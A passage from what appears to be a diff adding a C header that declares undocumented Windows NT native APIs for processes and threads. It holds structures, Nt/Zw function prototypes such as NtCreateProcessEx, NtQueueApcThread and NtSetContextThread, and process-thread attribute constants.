UmsInformationCommandDetach, + UmsInformationCommandQuery +} THREAD_UMS_INFORMATION_COMMAND; + +// private +typedef struct _RTL_UMS_COMPLETION_LIST +{ + PSINGLE_LIST_ENTRY ThreadListHead; + PVOID CompletionEvent; + ULONG CompletionFlags; + SINGLE_LIST_ENTRY InternalListHead; +} RTL_UMS_COMPLETION_LIST, * PRTL_UMS_COMPLETION_LIST; + +// private +typedef struct _THREAD_UMS_INFORMATION +{ + THREAD_UMS_INFORMATION_COMMAND Command; + PRTL_UMS_COMPLETION_LIST CompletionList; + PRTL_UMS_CONTEXT UmsContext; + union + { + ULONG Flags; + struct + { + ULONG IsUmsSchedulerThread : 1; + ULONG IsUmsWorkerThread : 1; + ULONG SpareBits : 30; + }; + }; +} THREAD_UMS_INFORMATION, * PTHREAD_UMS_INFORMATION; + +// private +typedef struct _THREAD_NAME_INFORMATION +{ + UNICODE_STRING ThreadName; +} THREAD_NAME_INFORMATION, * PTHREAD_NAME_INFORMATION; + +// private +typedef struct _ALPC_WORK_ON_BEHALF_TICKET +{ + ULONG ThreadId; + ULONG ThreadCreationTimeLow; +} ALPC_WORK_ON_BEHALF_TICKET, * PALPC_WORK_ON_BEHALF_TICKET; + +// private +typedef struct _RTL_WORK_ON_BEHALF_TICKET_EX +{ + ALPC_WORK_ON_BEHALF_TICKET Ticket; + union + { + ULONG Flags; + struct + { + ULONG CurrentThread : 1; + ULONG Reserved1 : 31; + }; + }; + ULONG Reserved2; +} RTL_WORK_ON_BEHALF_TICKET_EX, * PRTL_WORK_ON_BEHALF_TICKET_EX; + +#ifndef _KERNEL_MODE +// private +typedef enum _SUBSYSTEM_INFORMATION_TYPE +{ + SubsystemInformationTypeWin32, + SubsystemInformationTypeWSL, + MaxSubsystemInformationType +} SUBSYSTEM_INFORMATION_TYPE; +#endif // !_KERNEL_MODE + +// private +typedef enum _THREAD_WORKLOAD_CLASS +{ + ThreadWorkloadClassDefault, + ThreadWorkloadClassGraphics, + MaxThreadWorkloadClass +} THREAD_WORKLOAD_CLASS; + +// +// Processes +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateProcess( + _Out_ PHANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ParentProcess, + _In_ BOOLEAN InheritObjectTable, + _In_opt_ HANDLE SectionHandle, + _In_opt_ HANDLE DebugPort, + _In_opt_ HANDLE ExceptionPort +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateProcess( + _Out_ PHANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ParentProcess, + _In_ BOOLEAN InheritObjectTable, + _In_opt_ HANDLE SectionHandle, + _In_opt_ HANDLE DebugPort, + _In_opt_ HANDLE ExceptionPort +); + +#define PROCESS_CREATE_FLAGS_BREAKAWAY 0x00000001 +#define PROCESS_CREATE_FLAGS_NO_DEBUG_INHERIT 0x00000002 +#define PROCESS_CREATE_FLAGS_INHERIT_HANDLES 0x00000004 +#define PROCESS_CREATE_FLAGS_OVERRIDE_ADDRESS_SPACE 0x00000008 +#define PROCESS_CREATE_FLAGS_LARGE_PAGES 0x00000010 + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateProcessEx( + _Out_ PHANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ParentProcess, + _In_ ULONG Flags, + _In_opt_ HANDLE SectionHandle, + _In_opt_ HANDLE DebugPort, + _In_opt_ HANDLE ExceptionPort, + _Reserved_ ULONG Reserved // JobMemberLevel +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateProcessEx( + _Out_ PHANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ParentProcess, + _In_ ULONG Flags, + _In_opt_ HANDLE SectionHandle, + _In_opt_ HANDLE DebugPort, + _In_opt_ HANDLE ExceptionPort, + _Reserved_ ULONG Reserved // JobMemberLevel +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenProcess( + _Out_ PHANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PCLIENT_ID ClientId +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenProcess( + _Out_ PHANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PCLIENT_ID ClientId +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtTerminateProcess( + _In_opt_ HANDLE ProcessHandle, + _In_ NTSTATUS ExitStatus +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwTerminateProcess( + _In_opt_ HANDLE ProcessHandle, + _In_ NTSTATUS ExitStatus +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSuspendProcess( + _In_ HANDLE ProcessHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSuspendProcess( + _In_ HANDLE ProcessHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtResumeProcess( + _In_ HANDLE ProcessHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwResumeProcess( + _In_ HANDLE ProcessHandle +); + +#ifndef _KERNEL_MODE +#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1) +#define ZwCurrentProcess() NtCurrentProcess() + +#define NtCurrentThread() ((HANDLE)(LONG_PTR)-2) +#define ZwCurrentThread() NtCurrentThread() + +#define NtCurrentSession() ((HANDLE)(LONG_PTR)-3) +#define ZwCurrentSession() NtCurrentSession() +#endif // !_KERNEL_MODE + +#define NtCurrentPeb() (NtCurrentTeb()->ProcessEnvironmentBlock) + +// Windows 8 and above +#define NtCurrentProcessToken() ((HANDLE)(LONG_PTR)-4) // NtOpenProcessToken(NtCurrentProcess()) +#define NtCurrentThreadToken() ((HANDLE)(LONG_PTR)-5) // NtOpenThreadToken(NtCurrentThread()) +#define NtCurrentThreadEffectiveToken() ((HANDLE)(LONG_PTR)-6) // NtOpenThreadToken(NtCurrentThread()) + NtOpenProcessToken(NtCurrentProcess()) + +#define NtCurrentSilo() ( (HANDLE)(LONG_PTR) -1 ) + +// Not NT, but useful. +#define NtCurrentProcessId() (NtCurrentTeb()->ClientId.UniqueProcess) +#define NtCurrentThreadId() (NtCurrentTeb()->ClientId.UniqueThread) + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryInformationProcess( + _In_ HANDLE ProcessHandle, + _In_ PROCESSINFOCLASS ProcessInformationClass, + _Out_writes_bytes_(ProcessInformationLength) PVOID ProcessInformation, + _In_ ULONG ProcessInformationLength, + _Out_opt_ PULONG ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryInformationProcess( + _In_ HANDLE ProcessHandle, + _In_ PROCESSINFOCLASS ProcessInformationClass, + _Out_writes_bytes_(ProcessInformationLength) PVOID ProcessInformation, + _In_ ULONG ProcessInformationLength, + _Out_opt_ PULONG ReturnLength +); + +#if (NTDDI_VERSION >= NTDDI_WS03) +#define PROCESS_GET_NEXT_FLAGS_PREVIOUS_PROCESS 0x00000001 + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtGetNextProcess( + _In_opt_ HANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _In_ ULONG Flags, + _Out_ PHANDLE NewProcessHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwGetNextProcess( + _In_opt_ HANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _In_ ULONG Flags, + _Out_ PHANDLE NewProcessHandle +); +#endif + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtGetNextThread( + _In_ HANDLE ProcessHandle, + _In_ HANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _In_ ULONG Flags, + _Out_ PHANDLE NewThreadHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwGetNextThread( + _In_ HANDLE ProcessHandle, + _In_ HANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _In_ ULONG Flags, + _Out_ PHANDLE NewThreadHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationProcess( + _In_ HANDLE ProcessHandle, + _In_ PROCESSINFOCLASS ProcessInformationClass, + _In_reads_bytes_(ProcessInformationLength) PVOID ProcessInformation, + _In_ ULONG ProcessInformationLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetInformationProcess( + _In_ HANDLE ProcessHandle, + _In_ PROCESSINFOCLASS ProcessInformationClass, + _In_reads_bytes_(ProcessInformationLength) PVOID ProcessInformation, + _In_ ULONG ProcessInformationLength +); + +#define STATECHANGE_SET_ATTRIBUTES 0x0001 + +typedef enum _PROCESS_STATE_CHANGE_TYPE +{ + ProcessStateChangeSuspend, + ProcessStateChangeResume, + ProcessStateChangeMax, +} PROCESS_STATE_CHANGE_TYPE, * PPROCESS_STATE_CHANGE_TYPE; + +#if (NTDDI_VERSION >= NTDDI_WIN10_CO) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateProcessStateChange( + _Out_ PHANDLE ProcessStateChangeHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ProcessHandle, + _In_opt_ ULONG64 Reserved +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateProcessStateChange( + _Out_ PHANDLE ProcessStateChangeHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ProcessHandle, + _In_opt_ ULONG64 Reserved +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtChangeProcessState( + _In_ HANDLE ProcessStateChangeHandle, + _In_ HANDLE ProcessHandle, + _In_ PROCESS_STATE_CHANGE_TYPE StateChangeType, + _In_opt_ PVOID ExtendedInformation, + _In_opt_ SIZE_T ExtendedInformationLength, + _In_opt_ ULONG64 Reserved +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwChangeProcessState( + _In_ HANDLE ProcessStateChangeHandle, + _In_ HANDLE ProcessHandle, + _In_ PROCESS_STATE_CHANGE_TYPE StateChangeType, + _In_opt_ PVOID ExtendedInformation, + _In_opt_ SIZE_T ExtendedInformationLength, + _In_opt_ ULONG64 Reserved +); +#endif + +typedef enum _THREAD_STATE_CHANGE_TYPE +{ + ThreadStateChangeSuspend, + ThreadStateChangeResume, + ThreadStateChangeMax, +} THREAD_STATE_CHANGE_TYPE, * PTHREAD_STATE_CHANGE_TYPE; + +#if (NTDDI_VERSION >= NTDDI_WIN10_CO) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateThreadStateChange( + _Out_ PHANDLE ThreadStateChangeHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ThreadHandle, + _In_opt_ ULONG64 Reserved +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateThreadStateChange( + _Out_ PHANDLE ThreadStateChangeHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ThreadHandle, + _In_opt_ ULONG64 Reserved +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtChangeThreadState( + _In_ HANDLE ThreadStateChangeHandle, + _In_ HANDLE ThreadHandle, + _In_ THREAD_STATE_CHANGE_TYPE StateChangeType, + _In_opt_ PVOID ExtendedInformation, + _In_opt_ SIZE_T ExtendedInformationLength, + _In_opt_ ULONG64 Reserved +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwChangeThreadState( + _In_ HANDLE ThreadStateChangeHandle, + _In_ HANDLE ThreadHandle, + _In_ THREAD_STATE_CHANGE_TYPE StateChangeType, + _In_opt_ PVOID ExtendedInformation, + _In_opt_ SIZE_T ExtendedInformationLength, + _In_opt_ ULONG64 Reserved +); +#endif + +// +// Threads +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateThread( + _Out_ PHANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ProcessHandle, + _Out_ PCLIENT_ID ClientId, + _In_ PCONTEXT ThreadContext, + _In_ PINITIAL_TEB InitialTeb, + _In_ BOOLEAN CreateSuspended +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateThread( + _Out_ PHANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ProcessHandle, + _Out_ PCLIENT_ID ClientId, + _In_ PCONTEXT ThreadContext, + _In_ PINITIAL_TEB InitialTeb, + _In_ BOOLEAN CreateSuspended +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenThread( + _Out_ PHANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PCLIENT_ID ClientId +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenThread( + _Out_ PHANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PCLIENT_ID ClientId +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtTerminateThread( + _In_opt_ HANDLE ThreadHandle, + _In_ NTSTATUS ExitStatus +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwTerminateThread( + _In_opt_ HANDLE ThreadHandle, + _In_ NTSTATUS ExitStatus +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSuspendThread( + _In_ HANDLE ThreadHandle, + _Out_opt_ PULONG PreviousSuspendCount +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSuspendThread( + _In_ HANDLE ThreadHandle, + _Out_opt_ PULONG PreviousSuspendCount +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtResumeThread( + _In_ HANDLE ThreadHandle, + _Out_opt_ PULONG PreviousSuspendCount +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwResumeThread( + _In_ HANDLE ThreadHandle, + _Out_opt_ PULONG PreviousSuspendCount +); + +__kernel_entry NTSYSCALLAPI +ULONG +NTAPI +NtGetCurrentProcessorNumber( + VOID +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +ULONG +NTAPI +ZwGetCurrentProcessorNumber( + VOID +); + +#if (NTDDI_VERSION >= NTDDI_WIN10) +__kernel_entry NTSYSCALLAPI +ULONG +NTAPI +NtGetCurrentProcessorNumberEx( + _Out_opt_ PPROCESSOR_NUMBER ProcessorNumber +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +ULONG +NTAPI +ZwGetCurrentProcessorNumberEx( + _Out_opt_ PPROCESSOR_NUMBER ProcessorNumber +); +#endif // NTDDI_VERSION >= NTDDI_WIN10 + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtGetContextThread( + _In_ HANDLE ThreadHandle, + _Inout_ PCONTEXT ThreadContext +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwGetContextThread( + _In_ HANDLE ThreadHandle, + _Inout_ PCONTEXT ThreadContext +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetContextThread( + _In_ HANDLE ThreadHandle, + _In_ PCONTEXT ThreadContext +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetContextThread( + _In_ HANDLE ThreadHandle, + _In_ PCONTEXT ThreadContext +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryInformationThread( + _In_ HANDLE ThreadHandle, + _In_ THREADINFOCLASS ThreadInformationClass, + _Out_writes_bytes_(ThreadInformationLength) PVOID ThreadInformation, + _In_ ULONG ThreadInformationLength, + _Out_opt_ PULONG ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryInformationThread( + _In_ HANDLE ThreadHandle, + _In_ THREADINFOCLASS ThreadInformationClass, + _Out_writes_bytes_(ThreadInformationLength) PVOID ThreadInformation, + _In_ ULONG ThreadInformationLength, + _Out_opt_ PULONG ReturnLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationThread( + _In_ HANDLE ThreadHandle, + _In_ THREADINFOCLASS ThreadInformationClass, + _When_((ThreadInformationClass != ThreadManageWritesToExecutableMemory), + _In_reads_bytes_(ThreadInformationLength)) + _When_((ThreadInformationClass == ThreadManageWritesToExecutableMemory), + _Inout_updates_(ThreadInformationLength)) + PVOID ThreadInformation, + _In_ ULONG ThreadInformationLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetInformationThread( + _In_ HANDLE ThreadHandle, + _In_ THREADINFOCLASS ThreadInformationClass, + _In_reads_bytes_(ThreadInformationLength) PVOID ThreadInformation, + _In_ ULONG ThreadInformationLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlertThread( + _In_ HANDLE ThreadHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlertThread( + _In_ HANDLE ThreadHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlertResumeThread( + _In_ HANDLE ThreadHandle, + _Out_opt_ PULONG PreviousSuspendCount +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlertResumeThread( + _In_ HANDLE ThreadHandle, + _Out_opt_ PULONG PreviousSuspendCount +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtTestAlert( + VOID +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwTestAlert( + VOID +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtContinue( + _In_ PCONTEXT ContextRecord, + _In_ BOOLEAN TestAlert +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwContinue( + _In_ PCONTEXT ContextRecord, + _In_ BOOLEAN TestAlert +); + +typedef enum _KCONTINUE_TYPE +{ + KCONTINUE_UNWIND, + KCONTINUE_RESUME, + KCONTINUE_LONGJUMP, + KCONTINUE_SET, + KCONTINUE_LAST, +} KCONTINUE_TYPE; + +typedef struct _KCONTINUE_ARGUMENT +{ + KCONTINUE_TYPE ContinueType; + ULONG ContinueFlags; + ULONGLONG Reserved[2]; +} KCONTINUE_ARGUMENT, * PKCONTINUE_ARGUMENT; + +#define KCONTINUE_FLAG_TEST_ALERT 0x00000001 // wbenny +#define KCONTINUE_FLAG_DELIVER_APC 0x00000002 // wbenny + +#if (NTDDI_VERSION >= NTDDI_WIN10_VB) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtContinueEx( + _In_ PCONTEXT ContextRecord, + _In_ PVOID ContinueArgument // PKCONTINUE_ARGUMENT and BOOLEAN are valid +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwContinueEx( + _In_ PCONTEXT ContextRecord, + _In_ PVOID ContinueArgument // PKCONTINUE_ARGUMENT and BOOLEAN are valid +); +#endif // NTDDI_VERSION >= NTDDI_WIN10_VB + +//FORCEINLINE +//NTSTATUS +//NtContinue( +// _In_ PCONTEXT ContextRecord, +// _In_ BOOLEAN TestAlert +// ) +//{ +// return NtContinueEx(ContextRecord, (PCONTINUE_ARGUMENT)TestAlert); +//} + +//FORCEINLINE +//NTSTATUS +//ZwContinue( +// _In_ PCONTEXT ContextRecord, +// _In_ BOOLEAN TestAlert +// ) +//{ +// return ZwContinueEx(ContextRecord, (PCONTINUE_ARGUMENT)TestAlert); +//} + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtImpersonateThread( + _In_ HANDLE ServerThreadHandle, + _In_ HANDLE ClientThreadHandle, + _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwImpersonateThread( + _In_ HANDLE ServerThreadHandle, + _In_ HANDLE ClientThreadHandle, + _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtRegisterThreadTerminatePort( + _In_ HANDLE PortHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwRegisterThreadTerminatePort( + _In_ HANDLE PortHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetLdtEntries( + _In_ ULONG Selector0, + _In_ ULONG Entry0Low, + _In_ ULONG Entry0Hi, + _In_ ULONG Selector1, + _In_ ULONG Entry1Low, + _In_ ULONG Entry1Hi +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetLdtEntries( + _In_ ULONG Selector0, + _In_ ULONG Entry0Low, + _In_ ULONG Entry0Hi, + _In_ ULONG Selector1, + _In_ ULONG Entry1Low, + _In_ ULONG Entry1Hi +); + +typedef VOID(*PPS_APC_ROUTINE)( + _In_opt_ PVOID ApcArgument1, + _In_opt_ PVOID ApcArgument2, + _In_opt_ PVOID ApcArgument3 + ); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueueApcThread( + _In_ HANDLE ThreadHandle, + _In_ PPS_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcArgument1, + _In_opt_ PVOID ApcArgument2, + _In_opt_ PVOID ApcArgument3 +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueueApcThread( + _In_ HANDLE ThreadHandle, + _In_ PPS_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcArgument1, + _In_opt_ PVOID ApcArgument2, + _In_opt_ PVOID ApcArgument3 +); + +#if (NTDDI_VERSION >= ntddi_WIN7) +#define APC_FORCE_THREAD_SIGNAL ((HANDLE)1) // ReserveHandle + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueueApcThreadEx( + _In_ HANDLE ThreadHandle, + _In_opt_ HANDLE ReserveHandle, // NtAllocateReserveObject + _In_ PPS_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcArgument1, + _In_opt_ PVOID ApcArgument2, + _In_opt_ PVOID ApcArgument3 +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueueApcThreadEx( + _In_ HANDLE ThreadHandle, + _In_opt_ HANDLE ReserveHandle, // NtAllocateReserveObject + _In_ PPS_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcArgument1, + _In_opt_ PVOID ApcArgument2, + _In_opt_ PVOID ApcArgument3 +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN10_CO) + +#ifdef _KERNEL_MODE +typedef enum _QUEUE_USER_APC_FLAGS { + QUEUE_USER_APC_FLAGS_NONE = 0x0, + QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC = 0x1, +} QUEUE_USER_APC_FLAGS; +#endif // !_KERNEL_MODE + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueueApcThreadEx2( + _In_ HANDLE ThreadHandle, + _In_opt_ HANDLE ReserveHandle, // NtAllocateReserveObject + _In_ QUEUE_USER_APC_FLAGS ApcFlags, + _In_ PPS_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcArgument1, + _In_opt_ PVOID ApcArgument2, + _In_opt_ PVOID ApcArgument3 +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueueApcThreadEx2( + _In_ HANDLE ThreadHandle, + _In_opt_ HANDLE ReserveHandle, // NtAllocateReserveObject + _In_ QUEUE_USER_APC_FLAGS ApcFlags, + _In_ PPS_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcArgument1, + _In_opt_ PVOID ApcArgument2, + _In_opt_ PVOID ApcArgument3 +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN8) +// rev +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlertThreadByThreadId( + _In_ HANDLE ThreadId +); + +// rev +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlertThreadByThreadId( + _In_ HANDLE ThreadId +); + +// rev +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtWaitForAlertByThreadId( + _In_ PVOID Address, + _In_opt_ PLARGE_INTEGER Timeout +); + +// rev +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwWaitForAlertByThreadId( + _In_ PVOID Address, + _In_opt_ PLARGE_INTEGER Timeout +); +#endif + +// +// User processes and threads +// + +// +// Attributes +// + +// private +#define PS_ATTRIBUTE_NUMBER_MASK 0x0000ffff +#define PS_ATTRIBUTE_THREAD 0x00010000 // may be used with thread creation +#define PS_ATTRIBUTE_INPUT 0x00020000 // input only +#define PS_ATTRIBUTE_ADDITIVE 0x00040000 // "accumulated" e.g. bitmasks, counters, etc. + +#ifdef _KERNEL_MODE +typedef enum _PROC_THREAD_ATTRIBUTE_NUM { + ProcThreadAttributeParentProcess = 0, + ProcThreadAttributeExtendedFlags = 1, + ProcThreadAttributeHandleList = 2, + ProcThreadAttributeGroupAffinity = 3, + ProcThreadAttributePreferredNode = 4, + ProcThreadAttributeIdealProcessor = 5, + ProcThreadAttributeUmsThread = 6, + ProcThreadAttributeMitigationPolicy = 7, + ProcThreadAttributeSecurityCapabilities = 9, + ProcThreadAttributeConsoleReference = 10, + ProcThreadAttributeProtectionLevel = 11, + ProcThreadAttributeJobList = 13, + ProcThreadAttributeChildProcessPolicy = 14, + ProcThreadAttributeAllApplicationPackagesPolicy = 15, + ProcThreadAttributeWin32kFilter = 16, + ProcThreadAttributeSafeOpenPromptOriginClaim = 17, + ProcThreadAttributeDesktopAppPolicy = 18, + ProcThreadAttributeBnoIsolation = 19, + ProcThreadAttributePseudoConsole = 22, + ProcThreadAttributeMitigationAuditPolicy = 24, + ProcThreadAttributeMachineType = 25, + ProcThreadAttributeComponentFilter = 26, + ProcThreadAttributeEnableOptionalXStateFeatures = 27, +} PROC_THREAD_ATTRIBUTE_NUM; +#else // _KERNEL_MODE +// PROC_THREAD_ATTRIBUTE_NUM (Win32 CreateProcess) (dmex) +#define ProcThreadAttributeParentProcess ((_PROC_THREAD_ATTRIBUTE_NUM)0 ) // in HANDLE +#define ProcThreadAttributeExtendedFlags ((_PROC_THREAD_ATTRIBUTE_NUM)1 ) // in ULONG (PROC_EXTENDED_FLAG) +#define ProcThreadAttributeHandleList ((_PROC_THREAD_ATTRIBUTE_NUM)2 ) // in HANDLE[] +#define ProcThreadAttributeGroupAffinity ((_PROC_THREAD_ATTRIBUTE_NUM)3 ) // in GROUP_AFFINITY // since WIN7 +#define ProcThreadAttributePreferredNode ((_PROC_THREAD_ATTRIBUTE_NUM)4 ) // in USHORT +#define ProcThreadAttributeIdealProcessor ((_PROC_THREAD_ATTRIBUTE_NUM)5 ) // in PROCESSOR_NUMBER +#define ProcThreadAttributeUmsThread ((_PROC_THREAD_ATTRIBUTE_NUM)6 ) // in UMS_CREATE_THREAD_ATTRIBUTES +#define ProcThreadAttributeMitigationPolicy ((_PROC_THREAD_ATTRIBUTE_NUM)7 ) // in ULONG[] or ULONG64[] +#define ProcThreadAttributePackageName ((_PROC_THREAD_ATTRIBUTE_NUM)8 ) // in WCHAR[] // since WIN8 +#define ProcThreadAttributeSecurityCapabilities ((_PROC_THREAD_ATTRIBUTE_NUM)9 ) // in SECURITY_CAPABILITIES +#define ProcThreadAttributeConsoleReference 